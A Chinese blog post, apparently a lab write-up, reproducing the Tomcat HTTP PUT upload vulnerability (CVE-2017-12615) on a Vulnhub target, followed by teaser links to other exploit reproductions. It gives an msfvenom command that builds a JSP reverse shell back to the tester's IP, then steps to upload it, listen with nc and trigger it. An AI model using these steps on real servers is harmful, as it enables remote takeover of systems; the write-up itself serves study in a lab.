郑重声明：所用漏洞环境为自建虚拟机vulnhub靶机环境，仅供本人学习使用。
当 Tomcat启用了 HTTP PUT 请求方法（例如，将 readonly初始化参数由默认值设置为 false），攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后，JSP文件中的代码将能被服务器执行。
测试机IP：192.168.79.129
靶机IP：192.168.79.131
1. 启动Vulnhub靶机环境：
2. 验证靶机应用启用成功：
POC：
方法一：手工利用
1. 准备并生成一个JSP反弹Shell文件
msfvenom -p java/jsp_shell_reverse_tcp LHOST="192.168.79.129" LPORT=4444 -f raw
2. 将文件内容通put操作上传
3. 使用NC侦听反弹端口
4. 执行上传的JSP shell文件
5. 得到反弹Shell
方法二：MSF
郑重声明：所用漏洞环境为自建虚拟机vulnhub靶机环境，仅供本人学习使用。 漏洞简述 当 Tomcat启用了 H...
漏洞介绍 近日， fastjson出现高危远程代码执行漏洞，该漏洞是fastjson于2017年爆出的远程代码执行...
CVE-2015-1635-HTTP.SYS远程执行代码漏洞复现 一、漏洞描述 远程执行代码漏洞存在于 HTTP ...
Microsoft Windows 远程桌面服务远程执行代码漏洞(CVE-2019-0708)漏洞复现 详细描述 ...
漏洞名称 Citrix Gateway/ADC 远程代码执行漏洞 影响范围： Citrix NetScaler A...
漏洞地址：http://.../favicon.ico Range: bytes=0-18446744073709...
漏洞描述 攻击者可以向batch-requests插件发送请求来绕过管理API的IP限制。Apache APISI...
漏洞介绍 Windows操作系统远程桌面服务远程代码执行漏洞（CVE-2019-0708），利用此漏洞，攻击者无需...
1.漏洞信息： 漏洞名称：Tomcat远程代码执行漏洞 漏洞CVE编号：CVE-2017-12615 漏洞影响版本...
CVE -2020-13942 (Apache Unomi 远程代码执行漏洞) 一、漏洞描述： Apache Un...
本文标题：Vulnhub-Tomcat远程代码执行漏洞（CVE-2017-
本文链接：https://www.haomeiwen.com/subject/pwixektx.html
网友评论